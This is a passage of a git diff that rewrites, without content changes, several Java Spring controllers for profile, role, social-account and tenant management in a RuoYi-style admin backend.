profileVo.setUser(user); - profileVo.setRoleGroup(userService.selectUserRoleGroup(user.getUserId())); - profileVo.setPostGroup(userService.selectUserPostGroup(user.getUserId())); - return R.ok(profileVo); - } - - /** - * 修改用户信息 - */ - @RepeatSubmit - @Log(title = "个人信息", businessType = BusinessType.UPDATE) - @PutMapping - public R updateProfile(@Validated @RequestBody SysUserProfileBo profile) { - SysUserBo user = BeanUtil.toBean(profile, SysUserBo.class); - user.setUserId(LoginHelper.getUserId()); - String username = LoginHelper.getUsername(); - if (StringUtils.isNotEmpty(user.getPhonenumber()) && !userService.checkPhoneUnique(user)) { - return R.fail("修改用户'" + username + "'失败,手机号码已存在"); - } - if (StringUtils.isNotEmpty(user.getEmail()) && !userService.checkEmailUnique(user)) { - return R.fail("修改用户'" + username + "'失败,邮箱账号已存在"); - } - int rows = DataPermissionHelper.ignore(() -> userService.updateUserProfile(user)); - if (rows > 0) { - return R.ok(); - } - return R.fail("修改个人信息异常,请联系管理员"); - } - - /** - * 重置密码 - * - * @param bo 新旧密码 - */ - @RepeatSubmit - @ApiEncrypt - @Log(title = "个人信息", businessType = BusinessType.UPDATE) - @PutMapping("/updatePwd") - public R updatePwd(@Validated @RequestBody SysUserPasswordBo bo) { - SysUserVo user = userService.selectUserById(LoginHelper.getUserId()); - String password = user.getPassword(); - if (!BCrypt.checkpw(bo.getOldPassword(), password)) { - return R.fail("修改密码失败,旧密码错误"); - } - if (BCrypt.checkpw(bo.getNewPassword(), password)) { - return R.fail("新密码不能与旧密码相同"); - } - - if (userService.resetUserPwd(user.getUserId(), BCrypt.hashpw(bo.getNewPassword())) > 0) { - return R.ok(); - } - return R.fail("修改密码异常,请联系管理员"); - } - - /** - * 头像上传 - * - * @param avatarfile 用户头像 - */ - @RepeatSubmit - @Log(title = "用户头像", businessType = BusinessType.UPDATE) - @PostMapping(value = "/avatar", consumes = MediaType.MULTIPART_FORM_DATA_VALUE) - public R avatar(@RequestPart("avatarfile") MultipartFile avatarfile) { - if (!avatarfile.isEmpty()) { - String extension = FileUtil.extName(avatarfile.getOriginalFilename()); - if (!StringUtils.equalsAnyIgnoreCase(extension, MimeTypeUtils.IMAGE_EXTENSION)) { - return R.fail("文件格式不正确,请上传" + Arrays.toString(MimeTypeUtils.IMAGE_EXTENSION) + "格式"); - } - SysOssVo oss = ossService.upload(avatarfile); - String avatar = oss.getUrl(); - if (userService.updateUserAvatar(LoginHelper.getUserId(), oss.getOssId())) { - AvatarVo avatarVo = new AvatarVo(); - avatarVo.setImgUrl(avatar); - return R.ok(avatarVo); - } - } - return R.fail("上传图片异常,请联系管理员"); - } -} +package org.dromara.system.controller.system; + +import cn.dev33.satoken.secure.BCrypt; +import cn.hutool.core.bean.BeanUtil; +import cn.hutool.core.io.FileUtil; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.core.utils.file.MimeTypeUtils; +import org.dromara.common.encrypt.annotation.ApiEncrypt; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.helper.DataPermissionHelper; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.common.web.core.BaseController; +import org.dromara.system.domain.bo.SysUserBo; +import org.dromara.system.domain.bo.SysUserPasswordBo; +import org.dromara.system.domain.bo.SysUserProfileBo; +import org.dromara.system.domain.vo.AvatarVo; +import org.dromara.system.domain.vo.ProfileVo; +import org.dromara.system.domain.vo.SysOssVo; +import org.dromara.system.domain.vo.SysUserVo; +import org.dromara.system.service.ISysOssService; +import org.dromara.system.service.ISysUserService; +import org.springframework.http.MediaType; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; +import org.springframework.web.multipart.MultipartFile; + +import java.util.Arrays; + +/** + * 个人信息 业务处理 + * + * @author Lion Li + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/system/user/profile") +public class SysProfileController extends BaseController { + + private final ISysUserService userService; + private final ISysOssService ossService; + + /** + * 个人信息 + */ + @GetMapping + public R profile() { + SysUserVo user = userService.selectUserById(LoginHelper.getUserId()); + ProfileVo profileVo = new ProfileVo(); + profileVo.setUser(user); + profileVo.setRoleGroup(userService.selectUserRoleGroup(user.getUserId())); + profileVo.setPostGroup(userService.selectUserPostGroup(user.getUserId())); + return R.ok(profileVo); + } + + /** + * 修改用户信息 + */ + @RepeatSubmit + @Log(title = "个人信息", businessType = BusinessType.UPDATE) + @PutMapping + public R updateProfile(@Validated @RequestBody SysUserProfileBo profile) { + SysUserBo user = BeanUtil.toBean(profile, SysUserBo.class); + user.setUserId(LoginHelper.getUserId()); + String username = LoginHelper.getUsername(); + if (StringUtils.isNotEmpty(user.getPhonenumber()) && !userService.checkPhoneUnique(user)) { + return R.fail("修改用户'" + username + "'失败,手机号码已存在"); + } + if (StringUtils.isNotEmpty(user.getEmail()) && !userService.checkEmailUnique(user)) { + return R.fail("修改用户'" + username + "'失败,邮箱账号已存在"); + } + int rows = DataPermissionHelper.ignore(() -> userService.updateUserProfile(user)); + if (rows > 0) { + return R.ok(); + } + return R.fail("修改个人信息异常,请联系管理员"); + } + + /** + * 重置密码 + * + * @param bo 新旧密码 + */ + @RepeatSubmit + @ApiEncrypt + @Log(title = "个人信息", businessType = BusinessType.UPDATE) + @PutMapping("/updatePwd") + public R updatePwd(@Validated @RequestBody SysUserPasswordBo bo) { + SysUserVo user = userService.selectUserById(LoginHelper.getUserId()); + String password = user.getPassword(); + if (!BCrypt.checkpw(bo.getOldPassword(), password)) { + return R.fail("修改密码失败,旧密码错误"); + } + if (BCrypt.checkpw(bo.getNewPassword(), password)) { + return R.fail("新密码不能与旧密码相同"); + } + + if (userService.resetUserPwd(user.getUserId(), BCrypt.hashpw(bo.getNewPassword())) > 0) { + return R.ok(); + } + return R.fail("修改密码异常,请联系管理员"); + } + + /** + * 头像上传 + * + * @param avatarfile 用户头像 + */ + @RepeatSubmit + @Log(title = "用户头像", businessType = BusinessType.UPDATE) + @PostMapping(value = "/avatar", consumes = MediaType.MULTIPART_FORM_DATA_VALUE) + public R avatar(@RequestPart("avatarfile") MultipartFile avatarfile) { + if (!avatarfile.isEmpty()) { + String extension = FileUtil.extName(avatarfile.getOriginalFilename()); + if (!StringUtils.equalsAnyIgnoreCase(extension, MimeTypeUtils.IMAGE_EXTENSION)) { + return R.fail("文件格式不正确,请上传" + Arrays.toString(MimeTypeUtils.IMAGE_EXTENSION) + "格式"); + } + SysOssVo oss = ossService.upload(avatarfile); + String avatar = oss.getUrl(); + if (userService.updateUserAvatar(LoginHelper.getUserId(), oss.getOssId())) { + AvatarVo avatarVo = new AvatarVo(); + avatarVo.setImgUrl(avatar); + return R.ok(avatarVo); + } + } + return R.fail("上传图片异常,请联系管理员"); + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysRoleController.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysRoleController.java index 6513ffe..bc7105e 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysRoleController.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysRoleController.java @@ -1,238 +1,238 @@ -package org.dromara.system.controller.system; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.system.domain.SysUserRole; -import org.dromara.system.domain.bo.SysDeptBo; -import org.dromara.system.domain.bo.SysRoleBo; -import org.dromara.system.domain.bo.SysUserBo; -import org.dromara.system.domain.vo.DeptTreeSelectVo; -import org.dromara.system.domain.vo.SysRoleVo; -import org.dromara.system.domain.vo.SysUserVo; -import org.dromara.system.service.ISysDeptService; -import org.dromara.system.service.ISysRoleService; -import org.dromara.system.service.ISysUserService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 角色信息 - * - * @author Lion Li - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/system/role") -public class SysRoleController extends BaseController { - - private final ISysRoleService roleService; - private final ISysUserService userService; - private final ISysDeptService deptService; - - /** - * 获取角色信息列表 - */ - @SaCheckPermission("system:role:list") - @GetMapping("/list") - public TableDataInfo list(SysRoleBo role, PageQuery pageQuery) { - return roleService.selectPageRoleList(role, pageQuery); - } - - /** - * 导出角色信息列表 - */ - @Log(title = "角色管理", businessType = BusinessType.EXPORT) - @SaCheckPermission("system:role:export") - @PostMapping("/export") - public void export(SysRoleBo role, HttpServletResponse response) { - List list = roleService.selectRoleList(role); - ExcelUtil.exportExcel(list, "角色数据", SysRoleVo.class, response); - } - - /** - * 根据角色编号获取详细信息 - * - * @param roleId 角色ID - */ - @SaCheckPermission("system:role:query") - @GetMapping(value = "/{roleId}") - public R getInfo(@PathVariable Long roleId) { - roleService.checkRoleDataScope(roleId); - return R.ok(roleService.selectRoleById(roleId)); - } - - /** - * 新增角色 - */ - @SaCheckPermission("system:role:add") - @Log(title = "角色管理", businessType = BusinessType.INSERT) - @PostMapping - public R add(@Validated @RequestBody SysRoleBo role) { - roleService.checkRoleAllowed(role); - if (!roleService.checkRoleNameUnique(role)) { - return R.fail("新增角色'" + role.getRoleName() + "'失败,角色名称已存在"); - } else if (!roleService.checkRoleKeyUnique(role)) { - return R.fail("新增角色'" + role.getRoleName() + "'失败,角色权限已存在"); - } - return toAjax(roleService.insertRole(role)); - - } - - /** - * 修改保存角色 - */ - @SaCheckPermission("system:role:edit") - @Log(title = "角色管理", businessType = BusinessType.UPDATE) - @PutMapping - public R edit(@Validated @RequestBody SysRoleBo role) { - roleService.checkRoleAllowed(role); - roleService.checkRoleDataScope(role.getRoleId()); - if (!roleService.checkRoleNameUnique(role)) { - return R.fail("修改角色'" + role.getRoleName() + "'失败,角色名称已存在"); - } else if (!roleService.checkRoleKeyUnique(role)) { - return R.fail("修改角色'" + role.getRoleName() + "'失败,角色权限已存在"); - } - - if (roleService.updateRole(role) > 0) { - roleService.cleanOnlineUserByRole(role.getRoleId()); - return R.ok(); - } - return R.fail("修改角色'" + role.getRoleName() + "'失败,请联系管理员"); - } - - /** - * 修改保存数据权限 - */ - @SaCheckPermission("system:role:edit") - @Log(title = "角色管理", businessType = BusinessType.UPDATE) - @PutMapping("/dataScope") - public R dataScope(@RequestBody SysRoleBo role) { - roleService.checkRoleAllowed(role); - roleService.checkRoleDataScope(role.getRoleId()); - return toAjax(roleService.authDataScope(role)); - } - - /** - * 状态修改 - */ - @SaCheckPermission("system:role:edit") - @Log(title = "角色管理", businessType = BusinessType.UPDATE) - @PutMapping("/changeStatus") - public R changeStatus(@RequestBody SysRoleBo role) { - roleService.checkRoleAllowed(role); - roleService.checkRoleDataScope(role.getRoleId()); - return toAjax(roleService.updateRoleStatus(role.getRoleId(), role.getStatus())); - } - - /** - * 删除角色 - * - * @param roleIds 角色ID串 - */ - @SaCheckPermission("system:role:remove") - @Log(title = "角色管理", businessType = BusinessType.DELETE) - @DeleteMapping("/{roleIds}") - public R remove(@PathVariable Long[] roleIds) { - return toAjax(roleService.deleteRoleByIds(roleIds)); - } - - /** - * 获取角色选择框列表 - * - * @param roleIds 角色ID串 - */ - @SaCheckPermission("system:role:query") - @GetMapping("/optionselect") - public R> optionselect(@RequestParam(required = false) Long[] roleIds) { - return R.ok(roleService.selectRoleByIds(roleIds == null ? null : List.of(roleIds))); - } - - - /** - * 获取角色选择框列表 - */ - @GetMapping("/getRoleList") - public R> getRoleList() { - return R.ok(roleService.getRoleList()); - } - - /** - * 查询已分配用户角色列表 - */ - @SaCheckPermission("system:role:list") - @GetMapping("/authUser/allocatedList") - public TableDataInfo allocatedList(SysUserBo user, PageQuery pageQuery) { - return userService.selectAllocatedList(user, pageQuery); - } - - /** - * 查询未分配用户角色列表 - */ - @SaCheckPermission("system:role:list") - @GetMapping("/authUser/unallocatedList") - public TableDataInfo unallocatedList(SysUserBo user, PageQuery pageQuery) { - return userService.selectUnallocatedList(user, pageQuery); - } - - /** - * 取消授权用户 - */ - @SaCheckPermission("system:role:edit") - @Log(title = "角色管理", businessType = BusinessType.GRANT) - @PutMapping("/authUser/cancel") - public R cancelAuthUser(@RequestBody SysUserRole userRole) { - return toAjax(roleService.deleteAuthUser(userRole)); - } - - /** - * 批量取消授权用户 - * - * @param roleId 角色ID - * @param userIds 用户ID串 - */ - @SaCheckPermission("system:role:edit") - @Log(title = "角色管理", businessType = BusinessType.GRANT) - @PutMapping("/authUser/cancelAll") - public R cancelAuthUserAll(Long roleId, Long[] userIds) { - return toAjax(roleService.deleteAuthUsers(roleId, userIds)); - } - - /** - * 批量选择用户授权 - * - * @param roleId 角色ID - * @param userIds 用户ID串 - */ - @SaCheckPermission("system:role:edit") - @Log(title = "角色管理", businessType = BusinessType.GRANT) - @PutMapping("/authUser/selectAll") - public R selectAuthUserAll(Long roleId, Long[] userIds) { - roleService.checkRoleDataScope(roleId); - return toAjax(roleService.insertAuthUsers(roleId, userIds)); - } - - /** - * 获取对应角色部门树列表 - * - * @param roleId 角色ID - */ - @SaCheckPermission("system:role:list") - @GetMapping(value = "/deptTree/{roleId}") - public R roleDeptTreeselect(@PathVariable("roleId") Long roleId) { - DeptTreeSelectVo selectVo = new DeptTreeSelectVo(); - selectVo.setCheckedKeys(deptService.selectDeptListByRoleId(roleId)); - selectVo.setDepts(deptService.selectDeptTreeList(new SysDeptBo())); - return R.ok(selectVo); - } -} +package org.dromara.system.controller.system; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.system.domain.SysUserRole; +import org.dromara.system.domain.bo.SysDeptBo; +import org.dromara.system.domain.bo.SysRoleBo; +import org.dromara.system.domain.bo.SysUserBo; +import org.dromara.system.domain.vo.DeptTreeSelectVo; +import org.dromara.system.domain.vo.SysRoleVo; +import org.dromara.system.domain.vo.SysUserVo; +import org.dromara.system.service.ISysDeptService; +import org.dromara.system.service.ISysRoleService; +import org.dromara.system.service.ISysUserService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 角色信息 + * + * @author Lion Li + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/system/role") +public class SysRoleController extends BaseController { + + private final ISysRoleService roleService; + private final ISysUserService userService; + private final ISysDeptService deptService; + + /** + * 获取角色信息列表 + */ + @SaCheckPermission("system:role:list") + @GetMapping("/list") + public TableDataInfo list(SysRoleBo role, PageQuery pageQuery) { + return roleService.selectPageRoleList(role, pageQuery); + } + + /** + * 导出角色信息列表 + */ + @Log(title = "角色管理", businessType = BusinessType.EXPORT) + @SaCheckPermission("system:role:export") + @PostMapping("/export") + public void export(SysRoleBo role, HttpServletResponse response) { + List list = roleService.selectRoleList(role); + ExcelUtil.exportExcel(list, "角色数据", SysRoleVo.class, response); + } + + /** + * 根据角色编号获取详细信息 + * + * @param roleId 角色ID + */ + @SaCheckPermission("system:role:query") + @GetMapping(value = "/{roleId}") + public R getInfo(@PathVariable Long roleId) { + roleService.checkRoleDataScope(roleId); + return R.ok(roleService.selectRoleById(roleId)); + } + + /** + * 新增角色 + */ + @SaCheckPermission("system:role:add") + @Log(title = "角色管理", businessType = BusinessType.INSERT) + @PostMapping + public R add(@Validated @RequestBody SysRoleBo role) { + roleService.checkRoleAllowed(role); + if (!roleService.checkRoleNameUnique(role)) { + return R.fail("新增角色'" + role.getRoleName() + "'失败,角色名称已存在"); + } else if (!roleService.checkRoleKeyUnique(role)) { + return R.fail("新增角色'" + role.getRoleName() + "'失败,角色权限已存在"); + } + return toAjax(roleService.insertRole(role)); + + } + + /** + * 修改保存角色 + */ + @SaCheckPermission("system:role:edit") + @Log(title = "角色管理", businessType = BusinessType.UPDATE) + @PutMapping + public R edit(@Validated @RequestBody SysRoleBo role) { + roleService.checkRoleAllowed(role); + roleService.checkRoleDataScope(role.getRoleId()); + if (!roleService.checkRoleNameUnique(role)) { + return R.fail("修改角色'" + role.getRoleName() + "'失败,角色名称已存在"); + } else if (!roleService.checkRoleKeyUnique(role)) { + return R.fail("修改角色'" + role.getRoleName() + "'失败,角色权限已存在"); + } + + if (roleService.updateRole(role) > 0) { + roleService.cleanOnlineUserByRole(role.getRoleId()); + return R.ok(); + } + return R.fail("修改角色'" + role.getRoleName() + "'失败,请联系管理员"); + } + + /** + * 修改保存数据权限 + */ + @SaCheckPermission("system:role:edit") + @Log(title = "角色管理", businessType = BusinessType.UPDATE) + @PutMapping("/dataScope") + public R dataScope(@RequestBody SysRoleBo role) { + roleService.checkRoleAllowed(role); + roleService.checkRoleDataScope(role.getRoleId()); + return toAjax(roleService.authDataScope(role)); + } + + /** + * 状态修改 + */ + @SaCheckPermission("system:role:edit") + @Log(title = "角色管理", businessType = BusinessType.UPDATE) + @PutMapping("/changeStatus") + public R changeStatus(@RequestBody SysRoleBo role) { + roleService.checkRoleAllowed(role); + roleService.checkRoleDataScope(role.getRoleId()); + return toAjax(roleService.updateRoleStatus(role.getRoleId(), role.getStatus())); + } + + /** + * 删除角色 + * + * @param roleIds 角色ID串 + */ + @SaCheckPermission("system:role:remove") + @Log(title = "角色管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{roleIds}") + public R remove(@PathVariable Long[] roleIds) { + return toAjax(roleService.deleteRoleByIds(roleIds)); + } + + /** + * 获取角色选择框列表 + * + * @param roleIds 角色ID串 + */ + @SaCheckPermission("system:role:query") + @GetMapping("/optionselect") + public R> optionselect(@RequestParam(required = false) Long[] roleIds) { + return R.ok(roleService.selectRoleByIds(roleIds == null ? null : List.of(roleIds))); + } + + + /** + * 获取角色选择框列表 + */ + @GetMapping("/getRoleList") + public R> getRoleList() { + return R.ok(roleService.getRoleList()); + } + + /** + * 查询已分配用户角色列表 + */ + @SaCheckPermission("system:role:list") + @GetMapping("/authUser/allocatedList") + public TableDataInfo allocatedList(SysUserBo user, PageQuery pageQuery) { + return userService.selectAllocatedList(user, pageQuery); + } + + /** + * 查询未分配用户角色列表 + */ + @SaCheckPermission("system:role:list") + @GetMapping("/authUser/unallocatedList") + public TableDataInfo unallocatedList(SysUserBo user, PageQuery pageQuery) { + return userService.selectUnallocatedList(user, pageQuery); + } + + /** + * 取消授权用户 + */ + @SaCheckPermission("system:role:edit") + @Log(title = "角色管理", businessType = BusinessType.GRANT) + @PutMapping("/authUser/cancel") + public R cancelAuthUser(@RequestBody SysUserRole userRole) { + return toAjax(roleService.deleteAuthUser(userRole)); + } + + /** + * 批量取消授权用户 + * + * @param roleId 角色ID + * @param userIds 用户ID串 + */ + @SaCheckPermission("system:role:edit") + @Log(title = "角色管理", businessType = BusinessType.GRANT) + @PutMapping("/authUser/cancelAll") + public R cancelAuthUserAll(Long roleId, Long[] userIds) { + return toAjax(roleService.deleteAuthUsers(roleId, userIds)); + } + + /** + * 批量选择用户授权 + * + * @param roleId 角色ID + * @param userIds 用户ID串 + */ + @SaCheckPermission("system:role:edit") + @Log(title = "角色管理", businessType = BusinessType.GRANT) + @PutMapping("/authUser/selectAll") + public R selectAuthUserAll(Long roleId, Long[] userIds) { + roleService.checkRoleDataScope(roleId); + return toAjax(roleService.insertAuthUsers(roleId, userIds)); + } + + /** + * 获取对应角色部门树列表 + * + * @param roleId 角色ID + */ + @SaCheckPermission("system:role:list") + @GetMapping(value = "/deptTree/{roleId}") + public R roleDeptTreeselect(@PathVariable("roleId") Long roleId) { + DeptTreeSelectVo selectVo = new DeptTreeSelectVo(); + selectVo.setCheckedKeys(deptService.selectDeptListByRoleId(roleId)); + selectVo.setDepts(deptService.selectDeptTreeList(new SysDeptBo())); + return R.ok(selectVo); + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysSocialController.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysSocialController.java index b0281cf..a5c257f 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysSocialController.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysSocialController.java @@ -1,38 +1,38 @@ -package org.dromara.system.controller.system; - -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.common.web.core.BaseController; -import org.dromara.system.domain.vo.SysSocialVo; -import org.dromara.system.service.ISysSocialService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - -import java.util.List; - -/** - * 社会化关系 - * - * @author thiszhc - * @date 2023-06-16 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/system/social") -public class SysSocialController extends BaseController { - - private final ISysSocialService socialUserService; - - /** - * 查询社会化关系列表 - */ - @GetMapping("/list") - public R> list() { - return R.ok(socialUserService.queryListByUserId(LoginHelper.getUserId())); - } - -} +package org.dromara.system.controller.system; + +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.common.web.core.BaseController; +import org.dromara.system.domain.vo.SysSocialVo; +import org.dromara.system.service.ISysSocialService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.List; + +/** + * 社会化关系 + * + * @author thiszhc + * @date 2023-06-16 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/system/social") +public class SysSocialController extends BaseController { + + private final ISysSocialService socialUserService; + + /** + * 查询社会化关系列表 + */ + @GetMapping("/list") + public R> list() { + return R.ok(socialUserService.queryListByUserId(LoginHelper.getUserId())); + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysTenantController.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysTenantController.java index 4adf870..f5f91ef 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysTenantController.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysTenantController.java @@ -1,209 +1,209 @@ -package org.dromara.system.controller.system; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import cn.dev33.satoken.annotation.SaCheckRole; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.lock.annotation.Lock4j; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.TenantConstants; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.encrypt.annotation.ApiEncrypt; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.tenant.helper.TenantHelper; -import org.dromara.common.web.core.BaseController; -import org.dromara.system.domain.bo.SysTenantBo; -import org.dromara.system.domain.vo.SysTenantVo; -import org.dromara.system.service.ISysTenantService; -import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 租户管理 - * - * @author Michelle.Chung - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/system/tenant") -@ConditionalOnProperty(value = "tenant.enable", havingValue = "true") -public class SysTenantController extends BaseController { - - private final ISysTenantService tenantService; - - /** - * 查询租户列表 - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @SaCheckPermission("system:tenant:list") - @GetMapping("/list") - public TableDataInfo list(SysTenantBo bo, PageQuery pageQuery) { - return tenantService.queryPageList(bo, pageQuery); - } - - /** - * 导出租户列表 - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @SaCheckPermission("system:tenant:export") - @Log(title = "租户管理", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(SysTenantBo bo, HttpServletResponse response) { - List list = tenantService.queryList(bo); - ExcelUtil.exportExcel(list, "租户", SysTenantVo.class, response); - } - - /** - * 获取租户详细信息 - * - * @param id 主键 - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @SaCheckPermission("system:tenant:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tenantService.queryById(id)); - } - - /** - * 新增租户 - */ - @ApiEncrypt - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @SaCheckPermission("system:tenant:add") - @Log(title = "租户管理", businessType = BusinessType.INSERT) - @Lock4j - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody SysTenantBo bo) { - if (!tenantService.checkCompanyNameUnique(bo)) { - return R.fail("新增租户'" + bo.getCompanyName() + "'失败,企业名称已存在"); - } - return toAjax(TenantHelper.ignore(() -> tenantService.insertByBo(bo))); - } - - /** - * 修改租户 - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @SaCheckPermission("system:tenant:edit") - @Log(title = "租户管理", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody SysTenantBo bo) { - tenantService.checkTenantAllowed(bo.getTenantId()); - if (!tenantService.checkCompanyNameUnique(bo)) { - return R.fail("修改租户'" + bo.getCompanyName() + "'失败,公司名称已存在"); - } - return toAjax(tenantService.updateByBo(bo)); - } - - /** - * 状态修改 - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @SaCheckPermission("system:tenant:edit") - @Log(title = "租户管理", businessType = BusinessType.UPDATE) - @PutMapping("/changeStatus") - public R changeStatus(@RequestBody SysTenantBo bo) { - tenantService.checkTenantAllowed(bo.getTenantId()); - return toAjax(tenantService.updateTenantStatus(bo)); - } - - /** - * 删除租户 - * - * @param ids 主键串 - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @SaCheckPermission("system:tenant:remove") - @Log(title = "租户管理", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tenantService.deleteWithValidByIds(List.of(ids), true)); - } - - /** - * 动态切换租户 - * - * @param tenantId 租户ID - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @GetMapping("/dynamic/{tenantId}") - public R dynamicTenant(@NotBlank(message = "租户ID不能为空") @PathVariable String tenantId) { - TenantHelper.setDynamic(tenantId, true); - return R.ok(); - } - - /** - * 清除动态租户 - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @GetMapping("/dynamic/clear") - public R dynamicClear() { - TenantHelper.clearDynamic(); - return R.ok(); - } - - - /** - * 根据租户编码查询租户是否存在 - * @param tenantCode - * @return - */ - @GetMapping("/getTenantByCode/{tenantCode}") - public R getTenantByCode(@NotBlank(message = "租户编码不能为空") @PathVariable String tenantCode) { - SysTenantVo sysTenantVo = tenantService.queryByTenantCode(tenantCode); - if(ObjectUtil.isNotNull(sysTenantVo)){ - return R.fail("租户'" + sysTenantVo.getTenantCode() + "'已存在"); - } - return R.ok(); - } - - - /** - * 同步租户套餐 - * - * @param tenantId 租户id - * @param packageId 套餐id - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @SaCheckPermission("system:tenant:edit") - @Log(title = "租户管理", businessType = BusinessType.UPDATE) - @GetMapping("/syncTenantPackage") - public R syncTenantPackage(@NotBlank(message = "租户ID不能为空") String tenantId, - @NotNull(message = "套餐ID不能为空") Long packageId) { - return toAjax(TenantHelper.ignore(() -> tenantService.syncTenantPackage(tenantId, packageId))); - } - - /** - * 同步租户字典 - */ - @SaCheckRole(TenantConstants.SUPER_ADMIN_ROLE_KEY) - @Log(title = "租户管理", businessType = BusinessType.INSERT) - @GetMapping("/syncTenantDict") - public R syncTenantDict() { - if (!TenantHelper.isEnable()) { - return R.fail("当前未开启租户模式"); - } - tenantService.syncTenantDict(); - return R.ok("同步租户字典成功"); - } - -} +package org.dromara.system.controller.system; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import cn.dev33.satoken.annotation.SaCheckRole; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.lock.annotation.Lock4j; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.TenantConstants; +import org.dromara.common.core.domain.R; +import 